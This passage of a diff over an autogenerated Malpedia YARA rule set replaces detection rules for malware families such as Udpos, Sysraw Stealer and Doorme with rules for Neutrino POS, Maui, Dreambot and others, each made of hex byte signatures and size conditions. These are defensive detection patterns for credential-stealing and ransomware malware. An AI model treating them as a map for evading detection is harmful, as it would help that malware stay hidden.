66897c0102 8b4c2410 49 894c2410 85c9 } - $sequence_2 = { 8d8570feffff 50 6802020000 891d???????? } - $sequence_3 = { 83f801 0f85fd000000 8b542418 8d4c2424 } - $sequence_4 = { 803d????????00 5f 740d 8b0d???????? 51 } - $sequence_5 = { 8b442414 52 50 55 83c8ff } - $sequence_6 = { a3???????? 7e0d 6a00 68???????? ff15???????? } - $sequence_7 = { 50 ffd7 85c0 7544 8b2d???????? 8b1d???????? 90 } - $sequence_8 = { 66c1c208 50 6689542426 ff15???????? 8bf8 83ffff } - $sequence_9 = { 55 e8???????? 83c40c 84c0 74a0 8a442413 } + $sequence_0 = { eb2d 488b4c2430 8b442440 894110 4533c9 } + $sequence_1 = { 4883ec20 488bda 488bf9 ba30000000 33c9 41b873747600 ff15???????? } + $sequence_2 = { 4c8d442430 488bcb 41ffd1 eb1b 4c8b05???????? eb23 } + $sequence_3 = { 4889bc2488000000 33ff c7450730000000 ba3f000f00 897d67 488d4d77 48897d77 } + $sequence_4 = { 4885d2 7509 4883e802 bb05000080 668938 } + $sequence_5 = { 0f8489000000 4885db 0f8480000000 488d5318 4032ff 4885d2 7462 } + $sequence_6 = { e8???????? 488d0d65370000 ff15???????? ff15???????? 33c0 4881c430020000 } + $sequence_7 = { 84c0 0f84ff000000 0fb77c2420 488b742428 8bc7 48d1e8 } + $sequence_8 = { 33ff b90d0000c0 4d85d2 0f45cf 7408 488bc2 492bc2 } + $sequence_9 = { 4889442420 488d55f7 ff15???????? 85c0 8bd8 0f49df } condition: - 7 of them and filesize < 90112 + 7 of them and filesize < 91136 } -rule MALPEDIA_Win_Udpos_Auto : FILE +rule MALPEDIA_Win_Vapor_Rage_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c21182e3-9948-53fb-ba16-989de2eeeef7" + id = "1d14d0da-1333-54f1-9dbb-f6aece783656" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.udpos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.udpos_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vapor_rage" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vapor_rage_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "fe240fae257bb918a1862a5669b32e668e7cda4beef5a9f9bbf562c291941f24" + logic_hash = "4db758774b2d4194695ce32a1e8b4b65a9381f513267f8540ab016f72cc37d62" score = 75 quality = 75 tags = "FILE" @@ -90322,32 +90334,32 @@ rule MALPEDIA_Win_Udpos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c414 8d55c4 52 ffd7 } - $sequence_1 = { 53 56 52 ffd7 } - $sequence_2 = { 83c408 3bf3 7ea8 8b5d08 2bde } - $sequence_3 = { 8985f4feffff 8985f8feffff 3905???????? 7e09 a1???????? 8b30 eb06 } - $sequence_4 = { 7510 c78598feffff01000000 8b9d98feffff 47 83fb01 75b4 85db } - $sequence_5 = { 8b8110020000 301408 8b9110020000 0fb6140a } - $sequence_6 = { 83c40c 57 6a02 ff15???????? 8d8dd0fdffff 8bf0 } - $sequence_7 = { 51 a3???????? e8???????? 83c40c 68ff000000 8d95fcfdffff 52 } - $sequence_8 = { 53 e8???????? 83c404 8b95e4fbffff 52 ff15???????? 5b } - $sequence_9 = { 83e60f 0fb65c35e8 0fb671fd 8858fd } + $sequence_0 = { f2e94e030000 55 8bec 5d e9???????? 55 } + $sequence_1 = { 8d450c 50 8b4d08 51 6a02 ff15???????? 85c0 } + $sequence_2 = { 6a00 8d55ec 52 8b45d4 } + $sequence_3 = { 8d55ec 52 8b45d4 50 6a05 8b4de4 51 } + $sequence_4 = { c3 3b0d???????? f27502 f2c3 f2e94e030000 } + $sequence_5 = { 6a03 6a00 6a00 0fb755b0 52 } + $sequence_6 = { 50 8b4d08 51 6a02 ff15???????? 85c0 } + $sequence_7 = { 3b0d???????? f27502 f2c3 f2e94e030000 55 } + $sequence_8 = { ff15???????? 8b4df8 81c900010000 894df8 8b55f8 81ca80000000 } + $sequence_9 = { 83c404 8945c4 8b45c4 8945d0 } condition: - 7 of them and filesize < 163840 + 7 of them and filesize < 296960 } -rule MALPEDIA_Win_Matanbuchus_Auto : FILE +rule MALPEDIA_Win_Neutrino_Pos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "14891cee-6fee-5b85-a869-72db3819e8d3" + id = "76543c5c-a591-5d27-b69f-6b94d6c2d536" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matanbuchus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.matanbuchus_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino_pos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.neutrino_pos_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "8cc6ad0369ae6a09d94059ca0fd839ca0ba525864e83ed2b19f2484b94f687e7" + logic_hash = "46f9a8dea2672570990106785d46980fe0790f0009b06412248bdd52d22cb9a1" score = 75 quality = 75 tags = "FILE" @@ -90361,34 +90373,34 @@ rule MALPEDIA_Win_Matanbuchus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8955ec 0fb745fc 8b4dd8 668b1441 668955f8 eb0f } - $sequence_1 = { 035120 8955dc 8b45f4 8b4d08 03481c 894dcc c745f000000000 } - $sequence_2 = { 51 b801000000 6bc800 8b5508 0fbe040a 85c0 } - $sequence_3 = { 8b55d4 8b048a 034508 8945d0 0fb74df4 0fb755f8 } - $sequence_4 = { 41 66894df8 0fb755fc 85d2 } - $sequence_5 = { 0fbe1401 33550c 69c293010001 50 b901000000 c1e100 034d08 } - $sequence_6 = { eb04 33c0 eb18 eb82 8b4df4 8b55f4 } - $sequence_7 = { 81fa4d5a0000 7407 33c0 e9???????? 8b45e8 8b4d08 } - $sequence_8 = { ff55f0 6800800000 6a00 8b5508 } - $sequence_9 = { 8b55f0 8b4214 8945e8 33c9 66894dfc } + $sequence_0 = { 6a61 6689955cffffff 5a 6a6e 5f 6a75 5e } + $sequence_1 = { 8b45d8 8d443001 50 53 e8???????? 8bd8 } + $sequence_2 = { 56 57 e8???????? 59 59 8d4df8 51 } + $sequence_3 = { 51 53 33ff 57 ffd0 85c0 7433 } + $sequence_4 = { ff75fc ffd0 8945fc 3bc7 0f8580000000 } + $sequence_5 = { 8945e8 83f8ff 0f84a4000000 3bc3 0f849c000000 687823b2ff 56 } + $sequence_6 = { 5a 6a61 6689955cffffff 5a 6a6e } + $sequence_7 = { 66898d56ffffff 66898d58ffffff 66898d5affffff 66898d5cffffff 66898d5effffff 66898d60ffffff 66898d62ffffff } + $sequence_8 = { 58 6a43 8bc8 66898d4effffff 59 6a65 66898d50ffffff } + $sequence_9 = { 6a6e 66898558ffffff 58 6a62 6689855affffff 58 } condition: - 7 of them and filesize < 13077504 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Neutrino_Auto : FILE +rule MALPEDIA_Win_Acronym_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "90362f91-7989-59b7-8491-41ee08cb7ec9" + id = "ce514e29-77d6-5ca8-add6-cd76a31812fc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.neutrino_auto.yar#L1-L311" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acronym" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.acronym_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "a2300db6491e65a144d0716ad0d9afc9f3b5ec715da52155c4f75ceb78588a52" - score = 60 - quality = 43 + logic_hash = "5cca7d22218319c4f5ca79e1094be5a7a94847bd4819615124c26ef306c59f0d" + score = 75 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -90400,54 +90412,32 @@ rule MALPEDIA_Win_Neutrino_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? c1e010 50 ff15???????? } - $sequence_1 = { 50 6a0b 6a07 e8???????? } - $sequence_2 = { 50 6a05 6a03 e8???????? } - $sequence_3 = { 0404 010404 0202 020402 } - $sequence_4 = { 50 6a00 6a00 ff15???????? 8b4dd8 } - $sequence_5 = { 010404 0202 020402 0404 0404 0404 } - $sequence_6 = { 8b4d0c 894dfc 8b55f4 0fbe02 85c0 7447 8b4df4 } - $sequence_7 = { e9???????? 6a01 ff15???????? 85c0 } - $sequence_8 = { 83c404 0fb6d0 83fa01 7531 8b45fc 83c001 8945fc } - $sequence_9 = { 51 8b5508 52 ff15???????? 83f8ff 7504 32c0 } - $sequence_10 = { 83c201 8955f4 ebaf 8b45f4 a3???????? 8b45f8 2b45f4 } - $sequence_11 = { 894d08 0fb6550c 83fa01 7509 8b4508 83c001 894508 } - $sequence_12 = { 6a00 ff15???????? 6880000000 ff15???????? } - $sequence_13 = { 0fbe02 8b4df8 0fbe11 3bc2 740b 8b45fc 83c001 } - $sequence_14 = { 8b55fc 0fbe02 85c0 750f 8b4d0c 894dfc 8b55f4 } - $sequence_15 = { 0f8440feffff 80fa05 7354 8b3b 0fb6f2 6a05 } - $sequence_16 = { f645fe20 740d 814a1804010000 8a03 884210 43 8ac3 } - $sequence_17 = { 32c0 c645ff00 895dec c645fb00 f3aa c645f810 } - $sequence_18 = { 807dfd05 eb12 807dfd04 c645fc03 0f879a000000 807dfd01 } - $sequence_19 = { 0f879a000000 807dfd01 0f8597000000 e9???????? 2d8c000000 747e 48 } - $sequence_20 = { 8b03 894210 83c304 eb13 f645fe20 740d 814a1804010000 } - $sequence_21 = { c3 8b4804 890e ff4808 897004 751e } - $sequence_22 = { 83c404 85c0 0f95c2 0fb6c2 } - $sequence_23 = { 55 8bec 81ecf80f0000 837d0800 } - $sequence_24 = { 8d85b8feffff 50 68???????? ff15???????? 8945fc } - $sequence_25 = { 83c40c 6804010000 8d85f8fdffff 50 } - $sequence_26 = { ff750c ff7508 ff15???????? 83f8ff 0f95c0 } - $sequence_27 = { 7522 be???????? ff15???????? 57 8906 ff15???????? 83c604 } - $sequence_28 = { 7507 68???????? eb05 68???????? 50 ff510c } - $sequence_29 = { 50 ff15???????? 837dfc00 0f95c0 c9 c3 } - $sequence_30 = { 7412 68???????? 50 ff15???????? f7d8 1bc0 40 } - $sequence_31 = { 50 ff15???????? 6a40 ff75f0 } + $sequence_0 = { 894c05d0 ba04000000 6bd200 8b45ec 894415b4 b904000000 c1e100 } + $sequence_1 = { 0fb6c8 85c9 0f84d4000000 8b550c 8955d8 8b4510 50 } + $sequence_2 = { 50 8b85e8fdffff 8b08 8b95e8fdffff 52 8b413c } + $sequence_3 = { 0fb6c8 85c9 753d 8d4dd8 e8???????? 50 } + $sequence_4 = { 83f832 0f8547170000 c745e400000000 8b4de4 894de8 8b55e8 8955e0 } + $sequence_5 = { 668b544144 668955fc 0fb745fc c1e004 8b4d08 8d940190c90000 b804000000 } + $sequence_6 = { e8???????? 83c404 89853cfeffff 8d4ddc 898d84feffff 8b9584feffff 899540fdffff } + $sequence_7 = { 8b4df0 668b544112 668955fc 0fb745fc c1e004 8b4d08 8d940190c90000 } + $sequence_8 = { 8d95f4fdffff 52 8d8d50fdffff e8???????? 8bc8 e8???????? 50 } + $sequence_9 = { 52 8b450c 50 8b8d0cffffff 51 e8???????? } condition: - 7 of them and filesize < 507904 + 7 of them and filesize < 466944 } -rule MALPEDIA_Win_Sysraw_Stealer_Auto : FILE +rule MALPEDIA_Win_Rofin_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c0b55ef6-5e72-5427-8051-b4c3cd8766ea" + id = "c9b1467e-a51a-5bb8-8a94-4fccc519267e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysraw_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sysraw_stealer_auto.yar#L1-L113" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rofin" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rofin_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "c61c4a8b05627678a7ba0afb4e01a7aec8181a910b716ed57582ec5bcddd612c" + logic_hash = "d75f02a0b301194d004b242ba71e57b27fdd5fa1479d807d198f353683f5f00e" score = 75 quality = 75 tags = "FILE" @@ -90461,32 +90451,32 @@ rule MALPEDIA_Win_Sysraw_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd3 8bd0 8d8decfeffff ffd6 8b4d90 8d9580feffff 83c114 } - $sequence_1 = { 56 ff512c 8b55bc 8b06 8d8d54feffff } - $sequence_2 = { 33c9 8955bc 894de4 ba3f000000 } - $sequence_3 = { 6a0d 57 56 ff5238 } - $sequence_4 = { 8bf8 ffd6 3bfb 7472 } - $sequence_5 = { 8b8df8feffff 8b85f4feffff 898d24feffff 8b8df0feffff 898d1cfeffff } - $sequence_6 = { 8b550c 8b06 51 52 56 } - $sequence_7 = { 2bd7 6a00 42 83ec08 895590 db4590 } - $sequence_8 = { 8bd0 8b45d4 51 f7da } - $sequence_9 = { 50 ffd3 8bd0 8d8d24ffffff ffd6 } + $sequence_0 = { 83f804 753f 8b11 8a02 3c30 7507 8b5108 } + $sequence_1 = { 837c241801 7407 33db e9???????? 6a00 6a00 56 } + $sequence_2 = { 56 57 8b7c2414 33c0 33f6 85ff } + $sequence_3 = { e8???????? 8bf0 83c404 803e00 7453 6a0a } + $sequence_4 = { 8a4802 84c9 743f 8a4801 84c9 750e 8a4802 } + $sequence_5 = { 56 3b0d???????? 57 7358 8bc1 c1f805 8d3c85209e4200 } + $sequence_6 = { 45 f2ae 8b442410 f7d1 2bf9 83c00d 8bd1 } + $sequence_7 = { 89b42434010000 c744242800000000 ff15???????? 8d4c2418 51 56 e8???????? } + $sequence_8 = { 59 c3 8b8d90fcffff e9???????? 8b8d90fcffff 81c168030000 e9???????? } + $sequence_9 = { 8b442424 6a40 68???????? 50 e8???????? 83c41c 5f } condition: - 7 of them and filesize < 1540096 + 7 of them and filesize < 409600 } -rule MALPEDIA_Win_Portstarter_Auto : FILE +rule MALPEDIA_Win_Maui_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e44ac3aa-4f26-585d-bdee-c9904fdae8c9" + id = "c8e2f403-ec0e-5c62-bc65-b773780a2de5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.portstarter" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.portstarter_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maui" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.maui_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "73b0c7ed74c72cbbc30b57a6a611882f5357bf630e7fd50ae5a5939e6bfc7459" + logic_hash = "7f30138f7904f9e137800e0205092628d325a3b69e4098e86eb63774c736d746" score = 75 quality = 75 tags = "FILE" @@ -90500,34 +90490,32 @@ rule MALPEDIA_Win_Portstarter_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4c8b9c24a8010000 4c89442448 7507 4d8b4c2408 } - $sequence_1 = { 4c8b8c24d8000000 4d8b5918 4d8b6318 4d8b6b08 4d8b1b 4d39e5 0f8645050000 } - $sequence_2 = { 4c8b9c24b8000000 498d3c03 488b842410010000 4c89d1 4c89c6 90 } - $sequence_3 = { 4c8b942468010000 4d21fa 4d09d5 49c1ed3f 4f8d1404 4d01ea } - $sequence_4 = { 4c8d6424f0 4d3b6610 0f8660030000 4881ec90000000 4889ac2488000000 488dac2488000000 } - $sequence_5 = { 4c8b9424d8000000 4c8ba42400010000 4c896310 4c895318 } - $sequence_6 = { 4c8b9424d8000000 4d39e2 0f8745010000 0f8734010000 } - $sequence_7 = { 4c8d6424d0 4d3b6610 0f8610020000 4881ecb0000000 } - $sequence_8 = { 41b800de1b00 488d15d02f0000 488d4c2420 e8???????? } - $sequence_9 = { 4863442430 486bc010 488d0de3061c00 4803c8 } - $sequence_10 = { 4883ec48 8b442458 89442424 48c744242800000000 41b800de1b00 } - $sequence_11 = { 488d0de3061c00 4803c8 488bc1 48634c2434 } + $sequence_0 = { 85ff 7505 49 85c9 7ff2 894e04 5f } + $sequence_1 = { 85f6 7479 6a00 e8???????? 8d4c240c 51 89442410 } + $sequence_2 = { 241c 51 57 e8???????? 83c418 85c0 } + $sequence_3 = { 50 53 e8???????? 83c408 85c0 0f84a2000000 83c602 } + $sequence_4 = { 68d7020000 68???????? 6886000000 68a3000000 6a06 c7450000000000 e8???????? } + $sequence_5 = { 894c2420 0fb60f bd07010000 897c241c 66852c48 7431 0fb64f01 } + $sequence_6 = { 41 57 51 e8???????? 83c40c 85c0 0f84d9000000 } + $sequence_7 = { e8???????? a3???????? e8???????? 85c0 7d09 e8???????? 85c0 } + $sequence_8 = { 8b5c2410 55 8b6c241c 57 8b7c241c 81fd00000040 724e } + $sequence_9 = { 3bca 741f 8b4624 3bc2 7418 894c2418 895620 } condition: - 7 of them and filesize < 14216192 + 7 of them and filesize < 1616896 } -rule MALPEDIA_Win_Doorme_Auto : FILE +rule MALPEDIA_Win_Makadocs_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a443311b-0d69-50e1-b7af-6bea174db5b1" + id = "3783cfc0-154b-51b0-b2f8-112def4fc579" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doorme_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makadocs" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.makadocs_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "9459417024dba9c22cb08f7485ab12bc8f994d94a97e4b89e9d80101a9a838df" + logic_hash = "bc62432004ad887b8979c87f3801ee7c6c80fe20ba6026d285a25c1d6c33524c" score = 75 quality = 75 tags = "FILE" @@ -90541,32 +90529,32 @@ rule MALPEDIA_Win_Doorme_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 817d0063736de0 7528 48833d????????00 741e 488d0d70e50100 e8???????? 85c0 } - $sequence_1 = { 488bd8 488d9530010000 4883bd4801000010 480f439530010000 498b07 4c8d85e8000000 } - $sequence_2 = { 483bf8 7730 488d041f 48894548 488d4538 4983fe10 480f434538 } - $sequence_3 = { e8???????? 49897f10 49c747180f000000 41c60700 498b5618 4883fa10 0f82adfeffff } - $sequence_4 = { 4532d1 44881408 418d4001 440fb60c08 8d4705 4432cd } - $sequence_5 = { 488bd8 4885db 488d0571b80100 488d4f58 480f44d8 488bd3 488b5c2430 } - $sequence_6 = { 48c7c03f000000 23c1 488d0d4abb0100 f20f5904c1 f20f5804c1 660f72e406 660f73f434 } - $sequence_7 = { e8???????? 488b5c2430 4883c420 5f c3 4883ec28 4c8d0d0d660100 } - $sequence_8 = { 488d0538030300 49894408f0 488b07 4c634004 } - $sequence_9 = { 48894308 48895e40 48897e48 48896e50 488bce e8???????? 884658 } + $sequence_0 = { 50 e8???????? 83c414 8d5c2414 c644243008 e8???????? c644243003 } + $sequence_1 = { 750d 8d460c 55 e8???????? 84c0 7436 8b4c242c } + $sequence_2 = { c644242c07 8b442434 51 83c0f0 89642420 8bf4 e8???????? } + $sequence_3 = { eb12 8b442420 8b4804 51 ff15???????? } + $sequence_4 = { 8b00 83c404 50 e8???????? 8b9548ffffff 894250 8b8554ffffff } + $sequence_5 = { 85f6 0f8c09020000 3bf1 0f8f01020000 03c6 } + $sequence_6 = { 8d5c2410 c64424300c e8???????? b303 885c2430 8b44241c } + $sequence_7 = { 50 b9???????? e8???????? 8d4c2420 51 8d4c2450 c68424a80000002d } + $sequence_8 = { 8d4c2440 e8???????? 8d542444 68???????? b314 } + $sequence_9 = { 83c404 56 8944241c ff15???????? } condition: - 7 of them and filesize < 580608 + 7 of them and filesize < 344064 } -rule MALPEDIA_Win_Mole_Auto : FILE +rule MALPEDIA_Win_Rerdom_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "95af4ae3-464a-5d8e-afd4-0a11f6d0106b" + id = "241210bd-111a-5707-8897-9f53944f382f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mole" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mole_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rerdom" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rerdom_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "8a4687261d47d17fe0f3216955f42cc9f1da6596391fc3e1935f901a9405d6fa" + logic_hash = "e2884a0afa7a1b2f6c9a54d86366aeef6787f3f56ae7efd9ba84c1b1c522c12e" score = 75 quality = 75 tags = "FILE" @@ -90580,34 +90568,34 @@ rule MALPEDIA_Win_Mole_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? 81bdf0fdffffc7a4d005 0f846a6a0000 81bdf0fdffffcba4d005 0f8478790000 e9???????? 81bdf0fdffffd0a6d005 } - $sequence_1 = { 8d85f0ebffff 03c1 8b8d14e5ffff 50 8b8530e5ffff 8b048578f64100 } - $sequence_2 = { ff15???????? c745f800000000 c745fc00000000 6a00 6a18 68???????? } - $sequence_3 = { 52 ff15???????? 83c41c 6a01 8d85ecf0ffff 50 } - $sequence_4 = { 0f873b5a0000 8b8df0fdffff 0fb69130cd4000 ff249518cd4000 8b85f0fdffff } - $sequence_5 = { 898570faffff 83bd70faffffff 7431 6a00 8d8d44faffff 51 8b955cfaffff } - $sequence_6 = { 83bde8feffff02 750c c785dcfeffff07000000 eb46 83bde4feffff06 7515 83bde8feffff03 } - $sequence_7 = { 0fb6822cb64000 ff24850cb64000 81bdf0fdffff596ad005 7746 81bdf0fdffff596ad005 0f848d5a0000 } - $sequence_8 = { 7d0d 8a441918 888168c44100 41 ebe8 } - $sequence_9 = { 0f8473590000 e9???????? 81bdf0fdffffc360d305 7725 81bdf0fdffffc360d305 } + $sequence_0 = { 72f0 8bc3 e8???????? 8d45e4 50 ff15???????? 8b4510 } + $sequence_1 = { 7406 c70003010000 85db 740f 53 ff742408 e8???????? } + $sequence_2 = { 754d 8b4604 3bc3 7346 3b4608 7341 } + $sequence_3 = { 743d 83fb09 7338 8d4704 56 50 8945fc } + $sequence_4 = { 894618 85c0 0f84c8000000 a1???????? 85c0 7522 68???????? } + $sequence_5 = { 750a 8d75ec e8???????? ebb8 b001 5e } + $sequence_6 = { b8???????? 8bcb e8???????? 3bc6 0f8419ffffff 57 b8???????? } + $sequence_7 = { 05???????? 50 8d44247c 50 e8???????? 8b442420 2b442424 } + $sequence_8 = { 8b45fc c9 c20c00 55 8bec 56 8d4508 } + $sequence_9 = { 0f849c000000 e8???????? 8bf8 85ff 0f8489000000 8b44240c 8b88f0000000 } condition: - 7 of them and filesize < 297984 + 7 of them and filesize < 352256 } -rule MALPEDIA_Win_Hawking_Auto : FILE +rule MALPEDIA_Win_Dreambot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ec9f39f6-86ba-5455-97b7-92972ad75506" + id = "53f43e42-1768-565e-8f9c-297b1c07d8f4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hawking" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hawking_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dreambot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dreambot_auto.yar#L1-L872" license_url = "N/A" - logic_hash = "38946ce524bb812dc9a51e3c54c74cdb8d87a613cbaf2402323bc2266d8ec447" + logic_hash = "cddaa00c4f6e4bc7a58bc64756492fafadc3729bcd6bcbd8f6bc9664c264e892" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -90619,34 +90607,122 @@ rule MALPEDIA_Win_Hawking_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 2c02 16 2a 06 } - $sequence_1 = { 06 6f2c00000a 26 06 6f2d00000a 6f2e00000a 750d000001 } - $sequence_2 = { 08 16 08 8e 69 6f2100000a } - $sequence_3 = { 2d04 26 14 2b05 } - $sequence_4 = { 281c00000a 02 07 6f1900000a 72ba010070 6f1a00000a 2807000006 } - $sequence_5 = { 0b 14 0c 732f00000a 0d 16 } - $sequence_6 = { 6f0e00000a 1200 280f00000a 2dde de0e 1200 fe160200001b } - $sequence_7 = { 2df6 06 6f06000006 de0c 6f3400000a 2801000006 } - $sequence_8 = { 0c 07 6f1900000a 72ba010070 } - $sequence_9 = { 03 282400000a 2801000006 732500000a 0a 06 } + $sequence_0 = { 8b4f30 83e140 0b4b18 83671800 } + $sequence_1 = { 85c0 751f ff15???????? 8bf8 81ffe5030000 751a } + $sequence_2 = { ff7320 ff15???????? 50 ff7320 56 ff5710 } + $sequence_3 = { ff15???????? 85c0 7410 ff742410 33ff e8???????? 8b7d0c } + $sequence_4 = { ffd6 8b44240c 894320 68???????? ff7320 ff15???????? } + $sequence_5 = { 751a 395d10 7413 8b4618 e8???????? eb09 } + $sequence_6 = { 68???????? 68???????? ff7320 e8???????? 8bf8 } + $sequence_7 = { 0f84cd000000 8d442410 50 8d442410 } + $sequence_8 = { 3bf3 0f8481000000 395d0c 747c 6a03 ebcc 3bf3 } + $sequence_9 = { 3bc2 480f45ca 488bc1 4883c438 c3 488bc4 } + $sequence_10 = { 395d0c 0f848d000000 6a07 ebdd 3bf3 0f8481000000 } + $sequence_11 = { a1???????? 85c0 7520 3bf3 741c 837d0c04 } + $sequence_12 = { 837d0c04 7516 ff7510 ff36 68???????? e8???????? 8bf8 } + $sequence_13 = { ebcc 3bf3 7474 395d0c 746f 6a0d ebbf } + $sequence_14 = { 746f 6a0d ebbf ff7510 53 68???????? eb54 } + $sequence_15 = { 8b7d08 eb24 a1???????? 85c0 } + $sequence_16 = { 56 68???????? e8???????? 894508 8b7d08 eb24 } + $sequence_17 = { 413bc5 7528 493bfd 7423 41b904000000 } + $sequence_18 = { c3 4053 4883ec20 4c8b4108 488bd9 } + $sequence_19 = { e8???????? e9???????? 493bfd 0f84b5000000 413bf5 0f84ac000000 } + $sequence_20 = { 4c8bc5 e8???????? 8bd8 83fbff 7508 } + $sequence_21 = { bb57000000 e8???????? 413bc5 7446 } + $sequence_22 = { 7464 413bf5 745f 8bd6 488bcf bb57000000 } + $sequence_23 = { 33d2 ff15???????? 4c8d5c2470 8bc7 } + $sequence_24 = { 747c 41b80d000000 eba7 33d2 } + $sequence_25 = { e8???????? eb2c 8b05???????? 413bc5 } + $sequence_26 = { e9???????? 8bd6 488bcf e8???????? e9???????? 4c392d???????? 740c } + $sequence_27 = { 46 8945f8 85c0 7551 } + $sequence_28 = { 8b450c 33db 895dfc e8???????? 8945f8 33ff } + $sequence_29 = { 817424105085b8ed 33ff 47 57 be???????? 56 8d542418 } + $sequence_30 = { e8???????? 4885db 7417 488b0d???????? 4c8bc3 33d2 } + $sequence_31 = { ff7310 ff15???????? 33d2 89b7184a0000 } + $sequence_32 = { 488bcb e8???????? f7d0 eb07 8b8424c8000000 3dcad2b74e } + $sequence_33 = { 8db4083089b9ed 57 8d45f4 50 8b450c 33db 895dfc } + $sequence_34 = { 8945f8 33ff eb03 8b750c ff75f8 69f60d661900 } + $sequence_35 = { 85c0 7551 ff33 50 } + $sequence_36 = { 7427 488b5308 488bc8 ff15???????? 4c8b472c 488b0d???????? } + $sequence_37 = { 8b463c 488b1e 2b471c 4489742478 448974247c 488b542478 } + $sequence_38 = { 8b87184a0000 56 33f6 46 8945f8 } + $sequence_39 = { 8b424c a801 0f840f010000 8b424c a806 740e e8???????? } + $sequence_40 = { 8a07 2c41 3c05 8a07 7704 2c37 eb0a } + $sequence_41 = { 89442440 488bf9 e8???????? 488d542438 33c9 ff15???????? 448b5c2438 } + $sequence_42 = { 488bf0 0f84a3000000 8b942490000000 4c8b442440 } + $sequence_43 = { 33d2 ff15???????? 8bc6 